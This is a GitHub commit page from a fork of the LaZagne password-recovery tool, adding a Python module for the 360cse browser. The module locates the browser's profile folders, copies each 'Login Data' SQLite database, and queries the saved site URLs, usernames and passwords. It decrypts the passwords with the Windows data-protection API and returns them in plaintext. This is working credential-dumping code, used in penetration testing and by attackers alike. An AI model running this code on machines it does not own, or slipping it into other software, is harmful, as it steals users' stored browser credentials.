forked from AlessandroZ/LaZagne
-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
3gstudent
authored
Jul 7, 2017
1 parent
2b7a823
commit ca0ce07
Showing
1 changed file
with
100 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
# Support 360cse | ||
# Author: 3gstudent | ||
# Changed from https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/softwares/browsers/chrome.py | ||
from lazagne.config.write_output import print_debug | ||
from lazagne.config.moduleInfo import ModuleInfo | ||
from lazagne.config.WinStructure import * | ||
from lazagne.config.constant import * | ||
import sqlite3 | ||
import shutil | ||
import json | ||
import os | ||
|
||
class CSE(ModuleInfo): | ||
def __init__(self): | ||
options = {'command': '-360cse', 'action': 'store_true', 'dest': '360CSE', 'help': 'cse'} | ||
ModuleInfo.__init__(self, 'chrome', 'browsers', options) | ||
|
||
# main function | ||
def run(self, software_name = None): | ||
homedrive = constant.profile['HOMEDRIVE'] | ||
homepath = constant.profile['HOMEPATH'] | ||
|
||
# all possible path | ||
pathTab = [ | ||
homedrive + homepath + '\\Local Settings\\Application Data\\360Chrome\\Chrome\\User Data', | ||
homedrive + homepath + '\\AppData\\Local\\360Chrome\\Chrome\\User Data', | ||
] | ||
|
||
application_path = [p for p in pathTab if os.path.exists(p)] | ||
if not application_path: | ||
print_debug('INFO', '360cse not installed.') | ||
return | ||
|
||
# keep the first existing path | ||
application_path = application_path[0] | ||
|
||
# try to list all users profile | ||
profiles = [] | ||
if os.path.exists(os.path.join(application_path, 'Local State')): | ||
with open(os.path.join(application_path, 'Local State')) as file: | ||
try: | ||
data = json.load(file) | ||
for profile in data['profile']['info_cache']: | ||
profiles.append(profile) | ||
except: | ||
pass | ||
|
||
if not profiles: | ||
profiles.append('Default') | ||
|
||
pwdFound = [] | ||
for profile in profiles: | ||
database_path = os.path.join(application_path, profile, 'Login Data') | ||
if not os.path.exists(database_path): | ||
print_debug('INFO', 'User database not found') | ||
continue | ||
|
||
# Copy database before to query it (bypass lock errors) | ||
try: | ||
shutil.copy(database_path, os.path.join(os.getcwd(), 'tmp_db')) | ||
database_path = os.path.join(os.getcwd(), 'tmp_db') | ||
except Exception,e: | ||
print_debug('DEBUG', '{0}'.format(e)) | ||
print_debug('ERROR', 'An error occured copying the database file') | ||
|
||
# Connect to the Database | ||
try: | ||
conn = sqlite3.connect(database_path) | ||
cursor = conn.cursor() | ||
except Exception,e: | ||
print_debug('DEBUG', '{0}'.format(e)) | ||
print_debug('ERROR', 'An error occured opening the database file') | ||
continue | ||
|
||
# Get the results | ||
try: | ||
cursor.execute('SELECT action_url, username_value, password_value FROM logins') | ||
except: | ||
print_debug('ERROR', '360cse seems to be used, the database is locked. Kill the process and try again !') | ||
continue | ||
|
||
for result in cursor.fetchall(): | ||
try: | ||
# Decrypt the Password | ||
password = Win32CryptUnprotectData(result[2]) | ||
pwdFound.append( | ||
{ | ||
'URL' : result[0], | ||
'Login' : result[1], | ||
'Password' : password | ||
} | ||
) | ||
except Exception,e: | ||
print_debug('DEBUG', '{0}'.format(e)) | ||
|
||
conn.close() | ||
if database_path.endswith('tmp_db'): | ||
os.remove(database_path) | ||
|
||
return pwdFound |